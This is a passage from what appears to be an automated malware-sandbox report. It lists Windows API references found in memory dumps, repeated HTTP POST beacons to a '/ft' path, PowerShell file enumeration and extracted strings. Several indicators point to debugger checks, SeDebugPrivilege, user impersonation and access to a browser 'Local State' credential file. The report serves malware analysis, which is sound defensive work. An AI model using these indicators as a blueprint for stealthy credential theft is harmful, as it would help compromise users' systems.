00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found reference to API (Indicator: "MoveFile"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.4ED30000.00000002.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found reference to API (Indicator: "CopyFile"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "PostThreadMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "StringFromCLSID"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CoGetClassObject"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongPtrA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongPtrA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "EnumThreadWindows"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API (Indicator: "Local State"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found reference to API (Indicator: "MoveFile"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found reference to API (Indicator: "CopyFile"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found reference to API (Indicator: "Local State"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp")47:T810,Found http requests in header "POST /ft?topic=s" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4504716" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4504716" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4516911" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4522887" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4529049" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4535034" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4541237" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4547230" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4553365" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4559411" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4565492" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4571526" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4577593" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4583623" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4589689" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4595719" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4601787" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4607832" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4613968" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4620109" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4626244" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4632377" Found http requests in header "POST /ft?topic=v258&session=742298662&isbn=4638508" Found http requests in header "POST /ft?topic=v255&session=798383871&isbn=4644580"48:T8d6,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00006036) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006036) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006036) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00006036) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00006036) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00006036) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006036) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00006036)49:T1568,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "4208 1 "C:\Program Files\Wireshark\dumpcap.exe" -n -i \Device\NPF_{D03DB0C1-2729-4674-A875-8625DD784300} -p -Z 328 -w Z:\network_original.pcapng" (Indicator: "\Device\"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp, 00000000-00003076.00000002.259256.7A028000.00000004.mdmp, 00000000-00003076.00000002.259256.7A160000.00000004.mdmp") Found string "soft Windows 10 Pro|C:\WINDOWS|\Device\Hardd" (Indicator: "\Device\"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\h" (Indicator: "\Device\"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found string "oft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found string "t Windows 10 Pro|C:\WINDOWS|\Device\Hard" (Indicator: "\Device\"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddn32_Process" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string ""C:\Program Files\Wireshark\dumpcap.exe" -n -i \Device\NPF_{D03DB0C1-2729-4674-A875-8625DD784300} -p -Z 328 -w Z:\network_original.pcapng" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\PartitioY" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "crosoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.7A028000.00000004.mdmp") Found string "o|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.7A028000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Hardd" (Indicator: "\Device\"; Source: "00000000-00003076.00000002.259256.7A028000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp") Found string "4208 1 "C:\Program Files\Wireshark\dumpcap.exe" -n -i \Device\NPF_{D03DB0C1-2729-4674-A875-8625DD784300} -p -Z 328 -w Z:\network_original.pcapng" (Indicator: "\Device\"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\h@" (Indicator: "\Device\"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found string "oft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found string "ndows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\hY" (Indicator: "\Device\"; Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "S|\Device\Harddi" (Indicator: "\Device\"; 